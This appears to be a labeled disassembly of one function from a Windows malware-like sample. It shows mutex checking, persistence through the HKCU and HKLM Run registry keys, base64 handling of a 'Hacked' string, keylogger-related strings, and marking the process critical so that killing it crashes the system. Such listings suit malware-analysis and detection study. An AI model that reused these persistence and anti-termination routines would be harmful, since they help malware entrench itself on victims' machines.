Function at 0x140001380
Capabilities:
Check mutex on windows
Decode data using base64 via winapi
Encode data using base64 via winapi
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x140043010]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
lea r8, str.def9b6cd3f2b0c43097dfbc918862b82
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
jne 0x1400013d4
lea rcx, str.mutex_create_error__n
jmp 0x1400013f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
lea rcx, str.mutex_already_exists__n
lea rdx, str.mutex_create_success__n
cmovne rcx, rdx
call fcn.140001320
movaps xmm0, xmmword [str.def9b6cd3f2b0c43097dfbc918862b82]
lea rcx, [rbp - 0x50]
movaps xmm1, xmmword [0x14003dac0]
xor edx, edx
movzx eax, word [0x14003daf0]
mov r8d, 0x208
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [0x14003dad0]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm1, xmmword [0x14003dae0]
movaps xmmword [rbp - 0x80], xmm0
movaps xmmword [rbp - 0x70], xmm1
mov word [rbp - 0x60], ax
call fcn.1400097a0
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rdi, 0xffffffffffffffff
test eax, eax
je 0x1400015dc
lea rax, [rsp + 0x50]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400014aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000151d
lea rcx, [rbp - 0x50]
mov rax, rdi
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x1400014b1
mov rcx, qword [rsp + 0x50]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x60]
lea rax, [rbp - 0x50]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x140001517
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000151d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001566
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x1400015dc
lea rcx, [rbp - 0x50]
mov rax, rdi
nop dword [rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001570
mov rcx, qword [rsp + 0x50]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x60]
lea rax, [rbp - 0x50]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x1400015d6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x1400015dc
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r14d, r14d
lea rax, [rsp + 0x58]
xor r9d, r9d
mov dword [rsp + 0x58], r14d
lea rcx, str.Hacked
mov qword [rsp + 0x20], rax
mov ebx, r14d
lea edx, [r14 + 8]
lea r8d, [r14 + 1]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x1400016b3
mov ecx, eax
call fcn.14000e86c
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.1400097a0
lea rax, [rsp + 0x58]
mov r9, rbx
lea edx, [r14 + 8]
mov qword [rsp + 0x20], rax
lea r8d, [r14 + 1]
lea rcx, str.Hacked
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
cmp byte [rbx], r14b
je 0x1400016b3
mov r8d, 1
nop dword [rax + rax]
lea eax, [r8 - 1]
movzx eax, byte [rax + rbx]
cmp al, 0xd
je 0x140001675
cmp al, 0xa
je 0x140001675
inc r8d
jmp 0x1400016a9
mov eax, r8d
mov ecx, r8d
lea rdx, [rax + rbx]
movzx eax, byte [rax + rbx]
test al, al
je 0x1400016a2
nop word [rax + rax]
inc ecx
mov byte [rdx - 1], al
lea rdx, [rcx + rbx]
mov eax, ecx
movzx eax, byte [rdx]
test al, al
jne 0x140001690
mov eax, ecx
mov byte [rax + rbx - 1], r14b
lea eax, [r8 - 1]
cmp byte [rax + rbx], r14b
jne 0x140001660
mov rdx, rbx
lea rcx, str.encode_data:__hs__n
call fcn.1400012c0
xor r9d, r9d
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x50], r14d
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 1]
mov rsi, r14
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x140001728
mov ecx, eax
call fcn.14000e86c
mov rsi, rax
mov qword [rsp + 0x30], r14
xor edx, edx
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x50]
mov r9, rsi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [rdx + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rdx, rsi
lea rcx, str.decode_data:__hs__n
call fcn.1400012c0
mov rcx, rbx
call fcn.14000e858
mov rcx, rsi
call fcn.14000e858
call fcn.140003b40
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400017e0
lea rcx, str.test
cmp word [rcx + rdi*2 + 2], r14w
lea rdi, [rdi + 1]
jne 0x140001792
lea eax, [rdi*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea rdx, str._kl_
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.keylogger_save_OK__n
call fcn.1400012c0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001807
lea rcx, str.OpenProcess_error__n
jmp 0x14000186f
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001832
lea rcx, str.GetProcAddress_error__n
jmp 0x14000186f
mov r9d, 4
mov dword [rsp + 0x50], 1
lea r8, [rsp + 0x50]
mov rcx, rbx
lea edx, [r9 + 0x19]
call rax
test eax, eax
jns 0x140001868
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_error:__d___n
call fcn.140001320
jmp 0x140001874
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_success__n
call fcn.140001320
mov eax, 1
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140006380
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret